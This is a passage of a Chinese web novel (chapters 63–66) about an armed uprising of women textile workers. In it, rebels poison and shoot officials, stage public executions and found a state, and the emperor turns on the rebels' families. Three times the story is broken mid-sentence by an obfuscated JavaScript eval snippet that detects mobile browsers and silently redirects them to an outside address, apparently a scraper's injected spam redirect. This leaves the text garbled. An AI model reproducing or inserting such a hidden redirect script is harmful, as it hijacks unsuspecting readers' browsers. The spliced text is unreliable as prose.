“妾身脑子不清醒,前些日子做下错事,现在后悔万分。大人与夫人高抬贵手,依旧留妾身执教,妾身感激不已,思来想去没有什么能拿得出手的东西,便用这桌晚饭来做感谢。”说罢,她自己给自己倒了杯酒,摆出敬酒的姿势后一饮而尽。 其实知府并非没有想给孩子换夫子。但黄夫子教的不仅有他家孩子,松江府一时也找不到像她一样有才华的女夫子,此事才暂时作罢。现在黄夫子来这么一出,他反倒不好再提换人之事了。 “下不为例。”知府冷冷地丢下四个字,举起酒杯一饮而尽。 “既然知道错了,以后就收起心思,好好教书,”知府夫人还有不满,把酒杯放在一边数落她,“莫要把我的孩子教坏了。” “夫人说的是。”黄夫子屈身行礼,而后又灌了一杯酒。 整场晚饭,黄夫子身为位卑的道歉加道谢之人,全程侍立在一旁,没有上桌吃饭。她看知府一家人将自己做的饭菜吃完,狂跳的心脏渐渐平静下来。 “这件事必须你来完成,”当天在家中时,秋霜不容置疑地命令她,“只有你亲自动手做掉他们,我们才能信任你。” 现在,她可以确定,她的投名状稳了。 城门口,一辆马车经查后驶进城内,停在一间客栈前。一个商人下了马车,走进客栈内,订了一间房。 房间在一层,商人走进去,卸下伪装,赫然是秋霜。她打开窗户,跳出客栈,回到书肆。此时马车也已经在绕了远路后回来了。 车上另有一套更华丽的衣服,和常用的马车布饰。她命侍女点起火堆,将衣服和布饰全部扔进火堆内。等东西都烧干净,她站起身,命人将火堆灭了,自己走到书肆前台,点了一小队女雇员和女仆役,命她们晚上留下加班。 远在京城的长春宫中,沈明珮晚饭时总觉得心脏怦怦跳。饭后,她让寒露为她诊脉。 “娘娘身体无碍,”寒露把完脉后说,“会不会是这几日精神有些紧张?” “可能吧。”沈明珮也想不出别的可能,认可了寒露的推测。 这些日子,宫里也不平静。皇帝驾临启祥宫时,宁妃不知说了什么,让皇帝怒气冲冲地出来,只听说是与松江府女工有关。 松江府局势会发展成什么样子,她确实很在意。 63. 举义 夜色之下,松江府城的街道静悄悄。两个士兵提着等走在空旷的街巷上,脚踩地面的声音清晰可闻。 突然间,一道身影闯进了灯光下。 “什么人!”其中一个巡夜兵大喝。 身影面向他们越走越近,他们看清,这是一个女子。 “大晚上的在外面走什么?”他们立刻快步走到女子旁边,“你是什么人,像干什么?” “两位军爷,我只是个经营小本生意的,这几天收益不好,心里犯愁,出来走走,”这女子正是秋霜,她一副小心翼翼讨好巡夜兵的模样,“我这就回去。” 她走出几步,又被叫住。 “等等,你先跟我们回去,”一开始发现她的巡夜兵叫住她,“我们要确认你的身份。” “哎,好。”秋霜答应得很痛快。 两个巡夜兵一前一后,将秋霜夹在中间。三人一路无话,越走越靠近南城门附近,直到看到另两个巡夜的人,前面的巡夜兵才出声打招呼。 “队长,我们抓到一个人!” 秋霜心下暗喜,莫非碰到了大鱼?但她定睛一看,喜意就烟消云散。 “怎么了?”队长一身装备与普通巡夜兵并无不同,谈话间虽有威严却不重,看起来品级不算高,“这就是你们抓到的人?” “是,”巡夜兵回答,“我等在巡夜时看到她在街上乱逛。” “大人,小女子只是近来生意不顺,晚上烦得睡不着,出来走走,不想两位军爷担心我身份有异,把我带过来了,”说着,她拿出一个令牌,交给队长,“这个令牌能证明小女子的身份。” 队长接过令牌,定睛一看,神色一震。他虽只是百户,但也熟知勇毅伯府,并且深深尊敬忠勇侯府与勇毅伯府。此刻他手里的正是勇毅伯府的令牌。 “在下这就派人送姑娘回去。”他立刻站得笔直,话语间也带了尊敬。 “看来小女子的身份确实无误了,”秋霜松了口气,“大人可否将令牌还我?” “当然,姑娘请收好。”他双手捧着令牌,欲将它交给秋霜,令牌脱手的那一刻,他感觉有什么东西顶住了他的肚子。 他还没反应过来,就听见砰的一声,身体传来一股剧痛。巨大的推力将他推倒在地,意识的最后,他看见了一支冒烟的手铳。 “队长!”三个巡夜兵同样惊骇欲绝,他们无法理解,勇毅伯府出来的人怎么会对大齐的将士动手。 就在这短暂的震惊中,秋霜抬起手,又解决一人。 接连两人的死亡,让剩下两人回过神来,其中一人立刻高呼敌袭,向空中发出一枚信号弹,而后也掏出武器与秋霜对峙。 “为什么,你不是勇毅伯府的人吗,为什么要杀我们?勇毅伯府要造反吗?”这两人依旧是信仰崩塌的模样,其中一人红着眼睛质问秋霜,不等秋霜回答又摇摇头,自顾自地说,“不,你不是勇毅伯府的人,你是从谁身上抢的令牌!” 巡夜兵不带热兵器,这两个人说是与秋霜对峙,其实只是垂死挣扎。秋霜抬手又是一枪,又有一人毙命,只留下那个质问她的巡夜兵。 “我确实是勇毅伯府的人,”秋霜满足地欣赏巡夜兵脸上的绝望,“而且我还是贤妃娘娘的人。可惜你注定要带着这个秘密见阎王了。” “啊——”巡夜兵崩溃大吼,举着武器冲向秋霜,而后在枪响中倒在地上,再无声息。 秋霜吹了吹枪口,从容地对着身后说:“出来吧。” 墙后冒出两个女人,一人拎着一支手铳。两人跑到她身旁,举着手铳与她站成一个三角形。 手铳,勇毅伯府一共也只有三支。沈明珮在去信松江时要求伯府将手铳全部送至秋霜处,于是便真的用到了。 看到信号弹的巡夜兵陆陆续续跑过来,三人聚精会神准备战斗。 西城门口,守门卫兵念着发出信号弹的地方,焦急地来回踱步。一队穿着夜行衣,手拿武器的女子静静埋伏在墙后,等踱步的两人背对她们时骤然冲出来。 一队人平分成两伙,一伙杀一个卫兵,齐心协力之下还真就成功了。随后她们打开城门,早就等在城门外的陈咏真带着所有女工从树林中走出来,手持武器进了城。 “姐妹们,上!”陈咏真举起武器,直奔松江大营而去。 松江大营此刻也是一片混乱。营地就在松江府衙附近,营中将士正熟睡,听见有人大喊。 “着火啦——” 松江兵士不算训练有素,但也不至于火烧到身边还起不来。他们纷纷爬起来,穿好衣服跑出营地,发现着火的是府衙。 “知府呢?”松江指挥使披着衣服跑出来,见知府没有踪影,心中冒火,“火都烧起来了,他人呢?” 知府不在,府衙内的仆役乱成一团,他只好派出一部分人去灭火。 负责灭火的兵士拎着水回到府衙附近时,只听一声巨响,兵营内炸起一团火光。火光与府衙相距很进,两者连成一片,火势迅速蔓延。 有在营中的兵士当场死亡。 指挥使见这时候知府还没有出现,心中怒极。他调动在场所有兵士灭火。 他不知道的是,知府一家,连同晚上跟着吃了顿饭的师爷,此刻全都倒在府衙内,已经没了声息。府衙不远处,黄夫子见松江将士奋力救火,悄然离开。 另一边,一个少年在无人关注的时候也悄悄离开,此人正是符清。 “你必须去,”秋霜在筹划这场火灾时对他说,“你能活着,能继续读书,就是因为有勇毅伯府和我的庇护。离开我们,只要你出现在官府的视线下,就一定会被沈思远灭口。你也不想大仇未报身先死吧?” 对他来说确实是报仇最重要,所以他接下了这个任务。 远远走出去后,他回望一眼冲天的火光,心中轻轻叹息。自己以后是与勇毅伯府彻底绑死了。 火光之下,所有人都忙着救火。指挥使守在火场旁,看着士兵奔忙,突然发现一处不对。 “巡夜兵呢?”他问指挥佥事,“怎么不见巡夜兵来救火?” 这也是他们的职责,他们人呢? 这些巡夜兵自然是不能来救火了。南城门附近的战斗已接近尾声,秋霜三人身边横七竖八躺着一堆尸体,都是巡夜兵的。只有最上面两个不是巡夜兵,而是南城门的卫兵,眼下南城门已经彻底空了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263464|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “换弹,”她一边下令一边操作,两个女仆役也随她一起操作,完成后秋霜下令,“去东城门和北城门。” 三人在夜色中疾跑。 松江指挥使此时已经知道出事了,只是他实在想不出动手的人是谁。直到火好不容易灭干净,士兵们已感疲惫时,陈咏真率军杀到他们面前。 指挥使大感荒谬:“一群弱女子,居然敢造反?把她们杀干净!” 陈咏真一言不发,率先冲上去,一□□死了一个士兵。就像是一个信号,其他人也蜂拥而上,举起武器挥向兵士。 这一仗打得很没有章法。女工们并未经过训练,战斗全凭本能,松江兵因为地处安稳富庶之地,并没有多少专职士兵,日常训练也是稀松。再加上他们一晚上都在遭受各种意外,又刚刚将大火扑灭,心散人累,竟直接兵败如山倒。 最重要的是,他们出来得匆忙,手中并没有武器。 指挥使也意识到这个问题,大声道:“去拿武器!” 可是女工们将士兵们咬得死死的,他们根本腾不出取武器的空档。指挥使咬咬牙,打算自己去取武器,一颗子弹飞至,将他的脑袋打穿。 指挥佥事惊骇欲绝地转身,看见不知什么时候出现在他身后的秋霜三人,而后也被一手铳爆了脑袋。 主将副将先后身死,己方又早就显露出败相,很快,营地兵士就被陈咏真一行人杀了个精光。 “完成了,”陈咏真走到秋霜面前,“接下来要怎么办?” “你是这支义军的首领,我只是资助者,接下来要怎么办该由你来决定,”秋霜微笑着回答她,“不过,你们现在是不是应该巩固战果,然后把城门上挂着的人放下来?” 陈咏真深深看了她一眼,然后命令女工们将城中其他官员全部杀掉。不过闹得这么大这些官员还没现身,有一部分就是已经趁乱跑了。女工们找上各官员家,只杀了一部分品级不高的官员,松江府同知没有抓到。 之后,在蒙蒙亮的天色中,女工们将城门上挂着的女子头颅、尸首放下来,而后将文武官员的尸体挂上去。 做完这一切,陈咏真又找到秋霜。 “符掌柜,在下此番能够成事,多亏您的帮助。不知您可否屈尊助我继续开拓?我可以保证,只要符掌柜答应,以后凡事我有的必然符掌柜也有!” “陈将军看重符某,符某感激不尽,只是某不能答应,”秋霜轻轻摇头,“某尚有亲友在京城,若是光明正大出现在将军麾下,她们会立刻被皇帝杀鸡儆猴。但将军若有需要,某愿鼎力相助。” 说罢,她向陈咏真推荐了一个人。 黄夫子刚睡下没多久,就又一次被吵醒。看着站在家门外的陈咏真,她长叹一口气。 “我就知道,那个秋霜不会这么容易就放过我,”她说着,将陈咏真领进来,“陈姑娘可是要纳我入麾下?” “正是,”陈咏真一脸正色,“我听符掌柜说,黄夫子在此次行动中发挥了重要作用。不知黄夫子可愿继续同在下走下去?” 黄夫子没有立刻回答她,而是问了她一个问题。 “陈姑娘,你为了什么而举义?” 64. 宣扬 两人一直交谈到天大亮,陈咏真离开时,黄夫子也跟着她一并离开。 有她毒死知府全家并火烧府衙的功绩在,她融入义军没有任何困难,很快就和女工们打成一片。 “黄夫子,之后我们要做什么呢?”吃早饭时,跟在陈咏真身边的一个年长女工问她。 “先明确纲领,”黄夫子在女工群体中,也抛弃了往日食不言寝不语的规矩,同她们一样,“具体该怎么做我已经同陈工头说了,她会告诉你们的。” 果然,早饭刚吃完,陈咏真就命人将最初打死女工的那一家抓获。 昨天夜里动静不小,城中居民大多从睡梦中被惊醒,在胆战心惊中等待战斗结束。打斗声停了之后,他们看天没亮,也不敢走出家门,能接着睡着的终究是少数,大多数还是在紧张中生生等来天亮。 然后,他们就发现,守城门的变成了参加罢/工的女工。 打死女工的男人肝胆俱裂,没多久,就有一队拿着武器的女工闯进他家,把他全家都绑缚起来,带到当日松江指挥使指挥行刑的闹市路口。 他被人从身后猛踢了一脚,跪在地上,看见这群人的首领坐在椅子上,手里拿着一张纸。 首领,也就是陈咏真,将名单交给站在她身侧的女工,命令道:“你们四个各带一队人,让城中百姓都来这里。碰上名单上这些姐妹的家属,一并绑来,让他们也跟这几个一样跪好。” “是!”女工领命而去。 男人意识到自己是要完了,他不甘心,要张口大骂,被塞上了一团布。 他愤怒地呜呜叫着,塞他嘴的女工不屑地扫视他一眼,转身离开。 四队女工带着被捆着的人和城中居民陆陆续续到齐。等围观百姓彻底站好后,八个女工抬来两个巨大的武器架,上面摆满了各种武器。这八个女工将武器分发给围观者中的女性。 “各位姊妹们,乡亲们,我叫陈咏真,本是一家纺织厂的工头,”分发结束后,陈咏真走到当日指挥使观刑的地方,大声到,“我所在的厂里有很多优秀的女工,松江府其他厂中也有很多优秀的女工。她们任劳任怨,勤勤恳恳,手里的活计总是认认真真保质保量完成。” 百姓中就有不少女工,有人甚至先前就在陈咏真的管理下,听到她的话,心中的惶恐消去不少。 “我本以为姊妹们辛苦劳作,为厂子和松江府贡献织物,为家庭挣得工钱,应当得到应有的善待,但是我发现我错了,”陈咏真语气一转,“辛辛苦苦劳作的姊妹们连碰到自己薪俸的资格都没有,只是想拿到自己应得的东西就会被所谓的丈夫、舅姑甚至父母、兄弟打死,而松江官服甚至大齐朝廷更是视我们为可以奴役的猪狗,榨干我们的血肉来维持他们畸形的规矩。” “所以我们反抗了,也成功了,松江官府已被血洗,姊妹们从此不会再像先前那样,辛苦劳作却为人做嫁衣裳!”陈咏真说着,一个招手,几个女工押着第一个杀死女工的全家上前,“杀人偿命,欠债还钱,此乃自古以来的天理。大齐朝廷默许此人杀妻,但我们不许,今天,我们就将害死姊妹的这家凶手处刑,告慰她的在天之灵!” 女工们举起武器,很快,这一家人都人头落地。 随后,陈咏真拿出名单,将上面所有人的名字、身份都念出来。 “这些姊妹在抗争不公中被自己的家人背叛、害死,为了松江知府那一点赏银,”陈咏真说着,更多的女工上前,补上行刑者的空缺,“这些人同样要为自己的所作所为付出代价,只有命与血才能告慰被他们害死的姊妹们的冤魂!” 说罢,行刑女工再次举起武器,这些人也人头落地。 鲜血染红了街口,围观百姓一言不发,现场一片寂静。 半晌,有书生打扮的人忽然大喊:“女子自古以来就附属于男子,财产归于男子乃天经地义,你们如此倒行逆施,陛下不会放过你们的!” 说完,陈咏真便举起手铳,书生中弹,气绝身亡。 “在陛下不放过我们之前,我们会先不放过你们,”陈咏真放下手铳,言辞恳切地对拿着武器的女子们说,“姊妹们,我们想创建一个新的世界,一个女子的薪俸不会被人霸占、一个杀死女人就要付出代价、一个女子也可以像男子一样生活的世界。我知道,这是千古未见之事,但是路是一步一步走出来的,夏琳首辅曾开女子可为官之例,秦良玉将军曾开女子为将封侯之例,我们为什么就不能开此先河呢?” 人群中生起一些骚动,黄夫子坐在后面,暗暗点了点头。 “我知道,在场的很多姊妹都生活艰难,不论是在家里当女儿还是在夫家做媳妇,都受了很多委屈,现在,我给你们一个将委屈回报回去的机会,”陈咏真接着说,“拿起手中的武器,只要愿意,欺侮你们的人也可以如他们一样。” 说着,她指向那一堆无头尸体。 人群中骚动渐大,作威作福惯了的人并不相信自己欺压的人会挥刀向自己。就连举义的女工中也有人不理解地看向陈咏真。 但真的有人举起了武器。 “你敢!”一个年轻男人大喊着,躲到父母身后,“你是我家的媳妇,你信不信我回去就休了你!” 但瘦弱且衣服破旧的年轻女子这次没有被吓住,她咬着牙,红着眼眶,将长□□向男人。 连续的三枪之后,男人和父母全都倒在地上。 周围人都震惊地看着这一幕。女子跪倒在地,握着长枪泣不成声,哭了很久才站起身来。 “陈工头,我可以加入你们吗?” “当然可以,”陈咏真扬声道,“我们欢迎所有反抗欺压的姊妹!” 有了第一例,就有了无数例。人群在短短数息内出现很多举起武器的女子,这些女子在报完仇后绝大多数都选择加入义军。 之后,陈咏真又命松江城内小吏出列。平日趾高气扬的胥吏在武力威胁下只能乖乖照做。 “大家若有被胥吏欺压的,皆可站出来表明冤屈,我会为大家申冤。” 自然也有人站出来讲述部分小吏的恶行,凡证明属实,就有女工将小吏拉出来行刑,街口又是一番人头滚滚。 等这些都完成后,太阳已经高悬,陈咏真放众人回家。 “松江城由原知府府夫子黄琼英管理,新律法出炉前暂行大齐律法,但涉及男女之别时一律改为男女平等。若城中有人欲向大齐其他地界通风报信,一律按通敌处斩。” 义军很快组建出基本的领导班子。陈咏真是义军首领兼统帅,自号文佳将军,黄琼英为义军首辅,暂掌松江府。随陈咏真一同议事的四位年长女工皆为参将,其余女工大部分为义军,小部分为松江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273647|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府官吏。义商符秋霜府上护卫队长,原勇毅伯府护卫,担任义军教头。 当天晚上,义军出城,快速占领其他县、镇、乡。松江下属各县本就没有多少兵力,镇、乡更是防守空空,义军很快占领松江全境,派义军中最早追随陈咏真的女子为各地首官,派义军小队驻守,而后以在松江的模式犁了一遍全府,选拔敢率先反抗的女子为官吏,再输送一批义军兵源回松江府城。 彻底占领整个松江府后,陈咏真宣布松江府自立。宣布自立的同时,义军发布一篇长文,号召罢/工、罢/市、罢/教地区的女子奋起反抗。 此文正是由沈明珮所写的能够让她被夷三族的文章改编而成,题目为《告大齐女同胞书》,在沈明珮事先允许的情况下署名为黄琼英。 这是少见的在两方即将交战时以白话写下的文章。文章开头就写明了这个年头女性的一生:穷人家的女孩,从小就要干活,要照顾弟弟妹妹,要承担家中活计,但凡年景差些便可能被父母卖掉保其他人的生存;富人家的女孩,从小要学琴棋书画,要学管家,要学习各种技能来取悦未来的夫家。长大以后,所有女子都要出嫁,不论为妻为妾都要生儿育女,要为夫家操劳一生,但只要夫家有不满,甚至可能只是心血来潮,女子就可能被殴打,被虐待,甚至被杀害。直到熬到长辈与丈夫皆死,女子才可能通过儿子的孝顺享福,但过成什么样子也全在作为新家主的儿子的一念之间。 “世道对女子分外苛刻,女子必须恪守各种清规,不得有分毫逾矩,只因圣贤常言女子为阴,当以卑弱来辅阳。可事实当真是如此吗?” 历史上伟大的女子从来不少,纵使史书刻意遮掩扭曲,她们的贡献依然透过时光熠熠生辉。更不要提本朝,文有夏首辅,武有秦侯,哪个不是大齐的奠基之人? “可高宗一道令下后,两位大人的努力全部化为乌有。我们戴上了更为沉重的枷锁,甚至连自己的劳动成果也不再属于自己……” 接下来是长长的一段,细数本朝女子的不幸,从可考的最初一起没有任何惩罚的杀妻案,直到前几年被虐到到忍无可忍,愤而杀夫又被判凌迟的定国公府杀夫案。 “可高宗的一系列举措又带来了什么?带来了在天灾面前的不堪一击,带来了对外敌时的军饷不足,带来了大齐皇帝狼狈地恢复夏琳旧制!这就是为阳为尊的男子们的建树!那我们女子又有哪里不如他们呢?” 于是,文佳将军起兵,推翻了松江府的官员,真真正正地惩罚了杀害女子的人们。她再次让女子可以为官为将为吏为兵,让女子真正拥有财产,让女子不再被人肆意虐待欺辱。 “我们生在这个世上,有着一样的模样,本就应该是平等的人。曾经的我们从未得到过平等,从未体会过自己当家做主的滋味。如今机会就在眼前,我们可以为官为将,可以守住自己的财产,可以不再被轻易地夺取性命。姊妹们!生存空间是要靠自己争取的,今已有文佳将军为天下女子先,我们又怎能眼睁睁地看着机会溜走?我们有机会奔向光明,怎能继续留在黑暗中?” “姊妹们,拿起武器,为自己而战吧!” 陈咏真公开发布此文时,秋霜手下的女工女仆役也深入此次风波席卷的各府,将印刷好的文章贴在各个醒目之处。 本已被强行镇压的各府,再生波澜。 65. 扩张 苏州府城中,王阿久坐在客栈房间里,急得团团转。 她奉秋霜掌柜之命来苏州府城贴文章。她大字不识一个,不知道上面写的是什么,但是她贴完之后,苏州知府就派人封锁了苏州城,她回不去了。 苏州城内,兵士们一直在挨家挨户排查,这几天,她只能呆在客栈里,眼看着手里银钱就要花光了,她就要被客栈赶出来无处可去了。 正愁着,楼下传来一阵喧哗,是士兵们来排查了。 王阿久一言不发地坐在房间内,等待死亡的到来。门外,掌柜的一直陪着笑脸,随士兵检查每一位住客。 门开了,王阿久看向门外。 “军爷,这丫头是妾身的远房侄女,”掌柜的讨好地说,“爹娘死在疫病里了,哥哥嫂嫂又不要她,才跑过来投奔我的。” 说着,掌柜的疯狂向王阿久使眼色。 王阿久心领神会,立刻按掌柜的说的表演一番,终于糊弄过去。 掌柜的将兵士们送出客栈,立刻返回王阿久的房间,此时王阿久还呆呆地坐在床上,不敢相信自己就这么逃过一劫。 掌柜的噗嗤一声笑了:“你们大人怎么派你来做这个?” 王阿久赧然地挠了挠后脑勺:“掌柜的也没有多少女工,只能派我来了。多谢您搭救,不让我这次就完了。” “你叫我一声姑姑,我当然要救你了,”掌柜的打趣道,不出意外地看见王阿久羞红的脸,而后正色道,“松江府,现在当真像文佳将军宣传的那样吗?” “是的。”说到现在的松江府,王阿久也端正了脸色,详细向掌柜的介绍陈咏真举义以来的具体细节。 “真好啊。”掌柜的一脸羡慕地低喃,而后没了声音。 过了一会儿,她才深吸口气,对着王阿久露出笑容:“苏州城一时半会儿解不了禁,你就先在我这里住下,不收钱。等什么时候能走了,我再送你离开。” 苏州城内官民都要生活,戒严又过了两天就结束了,掌柜的遵守承诺,当真派人伪装成商队模样,送王阿久离开。 临行前,掌柜的将一个匣子交到王阿久手上。 “务必要将此物交给文佳将军。”她严肃叮嘱。 再回到松江府时,整个松江已经回归原本的平静,只有巡逻的女兵、当值的女吏昭示着与以往的不同。 马车停在松江府城外,王阿久走下车,进入城内,直奔书肆而去,一进门,就走到秋霜面前。 “掌柜的,这是对方让我交给你的东西。” “干得不错,给我吧。”秋霜也顺势伪装成派人出去谈生意的架势,接过匣子。 等到了无人之时,秋霜打开匣子,看过里面的东西,立刻合上匣子,将它一套交给陈咏真。 “多谢符掌柜的。” 陈咏真现在住在简单收拾后的府衙中,人也比先前多了些威严。她看过匣子里的东西后,并未表现出情绪倾向,只向秋霜道谢。 待秋霜告辞,她才问手下参将:“将士们训练得怎么样了?” 三天后的下午,陈咏真亲自带队,率领松江城内大半义军,带着攻城器械向西奔袭。她们一路走的都是人迹稀少之处,又是急行军,天色黑下来之前,她们在没有惊动敌人的情况下来到苏州城下。 “杀!”陈咏真嘶吼。 还没到宵禁之时,苏州城的城门还开着,为首的士兵搭起弓箭,一剪射中守门卫兵。其他卫兵匆忙关闭城门,但义军先锋冲得更快,在城门彻底合上前冲进城中,将守门卫兵斩杀殆尽。 城门再次洞开,义军如潮水般涌进苏州府城。 敌人杀进家中,苏州知府才意识到敌袭,慌忙下令迎敌。师爷跑出府衙传令,刚迈出府衙的大门,就看到几个拿着刀的女人。 “你们这是干……”他话没说完,就被其中一人挥刀砍死。 苏州指挥使也是在城门被破后才意识到敌袭。他毕竟是训练有素的正三品指挥使,还是做到了基本的调令兵士,出营迎敌。 城内街道已经乱成一锅粥,日常巡逻和在其他城门守门的士兵已经被杀得片甲不留,指挥使看得火冒三丈,正要指挥麾下将士出击,列队后方突然传来骚乱。 事情不大,是一伙女人向排在后面的士兵扔石头、臭鸡蛋和烂菜叶子。指挥使命令后方士兵将这伙女人就地格杀,她们立刻作鸟兽散。 他们继续追赶这些女人,指挥使没有将他们叫回来,继续带队向前,没走多远又看到一地的钉子。 这钉子扔得早,已经看不到扔钉子的人,扔在他们的必经之路上,非常碍眼。 “绕开走!”指挥使翻身下马,牵着马带着将士走路两侧没有钉子的地方。 偏偏道路两侧的房子这时候打开窗户,每间房子都有女人拿着刀砍向士兵,士兵反击她们又借着房子的掩护躲起来。指挥使也只能让士兵保持警惕快点走,但这些士兵平时训练不多,无法做出有效应对,这一路真死了不少人。 等他们走过去,再重整列队,陈咏真一行人已经将城中散兵全部击杀,在下一个路口处围成三面,只等他们自投罗网。 一台火炮被推上前,在他们进入射程的那一刻立刻发射。 陈咏真心里也憋着股火。苏州城的士兵是带着铳枪的,她们在剿灭过程中也有伤亡。看着认识的姐妹死在战场上,陈咏真的心在滴血,一炮对着为首的苏州指挥使轰出去后又推着火炮一路向前,再补了两炮。 重火器用在巷战中,杀伤力显著,剩下的苏州士兵或是被义军围杀,或是缴械投降。苏州府衙也被女人们闯进去,知府一家和心腹仆役都被杀了个干净。苏州府城就这么拿了下来。 苏州城内,凡叫得上名的杀女杀妻又没有受到应有惩罚的,全部横尸在苏州百姓前。此后,苏州城内欺压百姓的胥吏也得到了应有的下场。 这些事情做完后,陈咏真留下一位参将统率苏州义军,又留下一队义军协助这位参将掌控苏州局势,任命协助她们破城的女工首领管理苏州城。带着一批新加入的女兵,陈咏真班师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282140|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回松江城。 等到江南女工举义的消息送到京城时,义军已经彻底占领了松江、苏州两府。陈咏真立国号为周,将松江设为都城,不设皇帝,自领大将军一职,统治大周,命首辅黄琼英统领文官,松江女工首领和苏州女工首领皆有人为将军。最初的义军为官为将者更多,但后加入的义军也分到了满意的权力,义军内部颇为团结。 在金陵府上下一片恐慌,京城还在惊怒之时,陈咏真发兵太仓州。与苏州府不同,此次发兵,是太仓州主动派人来请的。 太仓州知州父亲新丧,在女工举义前不久刚刚离职服丧,举义发生时新任知州还没上任,州内做主的是通判。这位通判是宠妾灭妻之人,其妻只有一个女儿,并无儿子。举义发生后,女子的新世界就在眼前不远处,通判夫人牙一咬心一横,干脆一包砒霜把通判毒死了,而后控制了通判府,把通判的妾室和庶出子女通通软禁在院中。 太仓州只是一个州,境内没多少驻军,最高军事长官也只是一个千户。通判夫人封锁了通判已死的消息,以通判之名将千户请进府内,而后两个拿着斧头的护院就将千户砍死,将他埋在后院花园里。 眼见品级最高的文官和武官都没了,通判夫人一边伪装成通判骤病的模样,一边派心腹火速前往松江求援。没有人想到通判和千户会被杀了,毕竟先前罢/工、罢/市、罢/教的地区并不包括太仓州。 陈咏真收到消息后,立刻派手下将军整军出兵,义军一路势如破竹,打到太仓州城城下。 通判夫人以通判重病不愈为由,办了个祈福仪式,祈求通判病愈,城中所有官吏、将士都受到邀请,凡参加者皆能得一两银子。文武官员出于对同僚的祝福参加了,小吏小兵为了银子也参加了,太仓城内顿时兵力空虚。 义军就像捅破纸一样冲进太仓城,直到冲到祈福之处,受邀之人还有人没反应过来是怎么回事。 “夫人,这些人是谁?”一个九品小官一脸茫然。 “蠢货,是松江的逆军!”还是有人意识到发生了什么,质问通判夫人,“夫人放着敕命夫人不做,勾结叛逆,是想带着子女一起死吗?” 说罢,他自己也懊悔没有事先察觉。真是为通判祈福,怎么可能没有通判的宠妾,只有两个不受宠的妾室出场? 但现在说什么也晚了。 “我哪有子啊,”通判夫人嗤笑,“至于女儿,我觉得在文佳将军治下,我的女儿会过得更好。” 通判已经打算为了自己和儿子的官途让她女儿给一个能做她父亲的官员做续弦了,她焉能留他! 不会有人带武器参加祈福仪式,两手空空的官吏将士们像韭菜一样被义军收割。随后义军很快控制了太仓城,通判夫人暂时留在太仓协助义军管理太仓州,夫人的女儿随班师的义军队伍前往松江。 陈咏真命通判夫人为太仓州文官副手,她已经改名并且随母姓的女儿在黄琼英身边学习。 主动归附的太仓州立刻作为正面案例出现在大周的宣传中。 66. 出手 乾清宫,正殿内,皇帝面无表情地坐在主位上,脚边跪着两个不停磕头的中年男人。两个穿着官服的男人此刻皆是痛哭流涕,全无平日的威严。 穿着四品文官补服的男人边磕头边说:“陛下,那逆女早就嫁出去了,与皇家无关了,求陛下开恩放过臣吧。” “你放屁,我早就把你那个生不出儿子的女儿休了,”身穿飞鱼服的男人斥骂穿着云雁补服的男人,而后又对着皇帝说,“陛下,那贼妇早已被臣做主休弃,不再是宁靖伯府的人,求陛下明鉴啊。” “你说你替你儿子把她休了,休书呢?”四品文官反驳,“你儿子活着的时候两个人过得好好的,人一死你就说你把她休了,谁信啊?” 两个人你一言我一语,竟是在皇帝面前吵起来,双方的主题也一样:坚决不承认黄琼英是自己家人。 “够了!”皇帝狠狠拍了拍扶手,“互相推诿,毫无为臣之相,难怪会养出黄氏这样的叛逆!” 两人立刻闭嘴了。 “黄爱卿有件事说得没错,”皇帝先问宁靖伯,“你说你替你死去的儿子把黄氏休了,休书呢?” 宁靖伯一听,急了:“陛下,休书在黄氏手里,臣拿不出来啊。” 他很后悔,早知如此,当初不如把黄氏关在伯府里毒死,还能造出殉情的美名,现在这叫什么事? 想到黄氏能成逆党二把手,还是因为黄家把她撵出去,他又狠狠瞪了一眼黄大人。 黄大人以为没自己事了,又听到皇帝的声音在头顶响起:“黄侍读,你若不把黄氏逐出家门,她也不会成为逆贼吧?” “臣有罪,臣当初确实没想到会有这等事情发生,求陛下饶命。”黄侍读立刻叩首。 他现在就是很后悔,早知道会有今日,他当初就该让黄琼英去死,反正一个被休弃的女子,为全家族名声而死在时下士大夫阶层也很常见。现在好了,他好不容易才做到翰林院侍读学士,结果什么都没了。 到了这等时候,两人想的都是当初应该直接让黄琼英死,而后越想越恨黄琼英。 皇帝看得出他们的想法,实在不想再见到这两人,说了句“来人”,赵德光带着司礼监太监走进来,将两人拖出去。当晚,锦衣卫出动,黄家与宁靖伯府所有人都被投入刑部大牢。 第二天,皇帝紧急加开早朝,专门讨论江南女工举义。 